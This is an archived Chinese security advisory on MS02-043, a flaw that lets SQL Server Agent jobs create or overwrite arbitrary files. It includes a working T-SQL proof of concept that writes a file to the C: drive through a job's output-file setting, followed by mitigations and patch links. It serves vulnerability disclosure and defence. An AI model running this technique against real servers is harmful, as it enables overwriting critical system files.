首页 -> 安全研究

安全研究

安全漏洞
Microsoft SQL Server Agent作业远程任意文件建立/覆盖漏洞(MS02-043)

发布日期:2002-08-19
更新日期:2002-08-21

受影响系统:
Microsoft SQL Server 2000
    - Microsoft Windows NT 4.0
    - Microsoft Windows 2000 SP3
Microsoft SQL Server 7.0
    - Microsoft Windows NT 4.0
    - Microsoft Windows 2000 SP3
Microsoft SQL Server Desktop Engine (MSDE) 1.0
    - Microsoft Windows NT 4.0
    - Microsoft Windows 2000 SP3
Microsoft SQL Server Desktop Engine 2000
    - Microsoft Windows NT 4.0
    - Microsoft Windows 2000 SP3
描述:
CVE(CAN) ID: CVE-2002-0721

Microsoft SQL Server是微软公司开发的一套商业数据库系统,应用在Microsoft Windows系统下。SQL Server 7.0和2000带了一个助手服务 - SQL Server Agent。这个代理程序用来在数据库意外停止之后重启之,另外,它也负责处理提交的作业。

Microsoft SQL Server Agent在增加作业的时候指定输出文件名时对文件是否存在缺少正确检查,远程攻击者可以利用这个漏洞在系统中覆盖或者建立任意文件。

Microsoft SQL Server Agent作业可以提交一些作业让Agent执行,当增加一个作业的时候可以指定Transact-SQL或者CmdExec作业的输出文件名,但是输出结果建立文件时没有对文件名是否存在缺少检查,如果文件已经存在就会覆盖,而文件不存在的情况下,就直接建立文件。通过构建恶意作业查询可以把任意内容存储在文件中。

结合"Microsoft SQL Server Agent作业提交漏洞"( http://www.nsfocus.com/index.php?act=sec_bug&do=view&bug_id=3314 ),而Microsoft SQL Server Agent有在LocalSystem帐户权限下运行的话,可以使非特权用户覆盖系统的重要文件,导致系统下次不能启动。

<*来源:NGSSoftware Insight Security Research (nisr@nextgenss.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=102976944130078&w=2
        http://www.microsoft.com/technet/security/bulletin/MS02-043.asp
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

"NGSSoftware Insight Security Research" <nisr@nextgenss.com>提供如下测试方法:

--
-- David Litchfield
-- (david@ngssoftware.com)
-- 19th August 2002
USE msdb
EXEC sp_add_job @job_name = 'ArbitraryFileCreate',
@enabled = 1,
@description = 'This will create a file called c:\sqlafc123.txt',
@delete_level = 1
EXEC sp_add_jobstep @job_name = 'ArbitraryFileCreate',
@step_name = 'SQLAFC',
@subsystem = 'TSQL',
@command = 'select ''hello, this file was created by the SQL Agent.''',
@output_file_name = 'c:\sqlafc123.txt'
EXEC sp_add_jobserver @job_name = 'ArbitraryFileCreate',
@server_name = 'SERVER_NAME'
EXEC sp_start_job @job_name = 'ArbitraryFileCreate'

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 数据库管理员应该禁止对MSDB数据库中的下列存储过程的公开(public)访问权限:

sp_add_job
sp_add_jobstep
sp_add_jobserver
sp_start_job

* 确定SQL Server Agent以低权限帐户运行。

厂商补丁:

Microsoft
---------
Microsoft已经为此发布了一个安全公告(MS02-043)以及相应补丁:
MS02-043:Cumulative Patch for SQL Server (Q316333)
链接:http://www.microsoft.com/technet/security/bulletin/MS02-043.asp

补丁下载:

    * Microsoft SQL Server 7.0
       http://www.microsoft.com/Release.asp?ReleaseID=Q327068

     * Microsoft SQL Server 2000
       http://www.microsoft.com/Release.asp?ReleaseID=Q316333

浏览次数:3279
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障